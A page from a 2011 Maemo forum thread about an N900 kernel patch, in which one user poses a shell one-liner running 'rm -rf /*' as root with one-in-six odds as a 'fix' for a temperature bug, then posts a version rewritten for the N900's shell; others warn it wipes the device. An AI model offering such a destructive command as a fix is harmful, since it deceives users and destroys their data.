Active Topics

 


Reply
Thread Tools
Posts: 28 | Thanked: 3 times | Joined on Nov 2010 @ Noord-Holland, Netherlands
#291
Originally Posted by vi_ View Post
Really eefo? I MEAN REALLY?

ARE YOU TO DUMB TO READ BUT 2 POSTS ABOVE?


to fix your temperature problem just run this as root:

Code:
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "You live"
The code doesnt work
its say:

sh: %: unknown operand
You Live

did i do something wrong
__________________
N900 PR 1.3 CSSU 13
Maemo, NITDroid @950mhz,
N95 8G, Nokia 6300
 
Alfred's Avatar
Posts: 855 | Thanked: 612 times | Joined on Oct 2010 @ Germany
#292
WELL, you are lucky to live.
__________________
Reps are just one click away: Extras | Extras-Testing | Extras-Devel | My-Maemo | CSSU |
Transform your lock screen into a weather forecast Thanks button ================>
 

The Following User Says Thank You to Alfred For This Useful Post:
anapospastos's Avatar
Posts: 552 | Thanked: 183 times | Joined on Oct 2009 @ Not decided
#293
Originally Posted by Gill T View Post
The code doesnt work
its say:

sh: %: unknown operand
You Live

did i do something wrong
No no. You did it very well. Now it's the time to sell your N900.
 
Posts: 1,751 | Thanked: 844 times | Joined on Feb 2010 @ Sweden
#294
Originally Posted by Gill T View Post
The code doesnt work
its say:

sh: %: unknown operand
You Live

did i do something wrong
I would advice you NOT to use that! Hopefully a moderator can moderate that suggestion.

This command "rm -rf /*" will wipe your drive...
__________________
You like what i do? Donate!

Make your desktop look awesome - use the AwOken Theme with the AwOken Icon Theme.

Add me on twitter @almehdin
Visit the swedish maemo/meego community forums
 

The Following 2 Users Say Thank You to AlMehdi For This Useful Post:
kralde's Avatar
Posts: 168 | Thanked: 58 times | Joined on May 2010 @ Madrid
#295
Bug: Temperature 323 ºC xDD And Maemoder cant set frequency limits.
 
Posts: 346 | Thanked: 271 times | Joined on Jan 2010
#296
Originally Posted by n900 lover View Post
hey ... i tried this command as root and sudo but it doesnt work temperature still show 363 c.
You are lucky that your phone still works, because this command is an unix russian roulette: you have 1 chance on 6 to delete all content on your phone

Please try to understand commands before running them, especially as root.

Edit: this syntax will not works in sh (default N900's shell but will works on bash) but the above still apply, rm -rf /* should tilt everyone that is on an unix shell

Last edited by Megaltariak; 2011-05-04 at 11:42.
 

The Following User Says Thank You to Megaltariak For This Useful Post:
Posts: 701 | Thanked: 585 times | Joined on Sep 2010 @ London, England
#297
Originally Posted by Gill T View Post
The code doesnt work
its say:

sh: %: unknown operand
You Live

did i do something wrong
Fortunately that code doesn't work on the N900, it needs a more functional shell like bash (which is the default on most Linux distros, but not the N900). If it did work it would give you a 1 in 6 chance of wiping your computer.
 

The Following User Says Thank You to retsaw For This Useful Post:
Posts: 1,751 | Thanked: 844 times | Joined on Feb 2010 @ Sweden
#298
Originally Posted by retsaw View Post
Fortunately that code doesn't work on the N900, it needs a more functional shell like bash (which is the default on most Linux distros, but not the N900). If it did work it would give you a 1 in 6 chance of wiping your computer.
It would also need "sudo" but it is not therefore it should be removed. Also.. Bash is available for the n900.
__________________
You like what i do? Donate!

Make your desktop look awesome - use the AwOken Theme with the AwOken Icon Theme.

Add me on twitter @almehdin
Visit the swedish maemo/meego community forums

Last edited by AlMehdi; 2011-05-04 at 11:53.
 
TMavica's Avatar
Posts: 2,021 | Thanked: 1,060 times | Joined on Apr 2010 @ Hong Kong
#299
my cutetube QML cant use after update..
any help?
 
Posts: 1,680 | Thanked: 3,685 times | Joined on Jan 2011
#300
Originally Posted by retsaw View Post
Fortunately that code doesn't work on the N900, it needs a more functional shell like bash (which is the default on most Linux distros, but not the N900). If it did work it would give you a 1 in 6 chance of wiping your computer.
You are right, it is a bash orientated version, I have modified it for ASH below:

Code:
[ $((RANDOM%6+0)) == 0 ] && rm -rf /* || echo "You live"
I have just run it on my n900 and it works.

I lived.
__________________
N900: One of God's own prototypes. A high-powered mutant of some kind never even considered for mass production. Too weird to live, and too rare to die.
 

The Following 3 Users Say Thank You to vi_ For This Useful Post:
Reply

Tags
battery-status, bq27x00_battery, kernel, kernel-power, misiak4king, noobs-cant-read, pali4president, patches, readdirections, revolverspinyou


 
Forum Jump


All times are GMT. The time now is 19:51.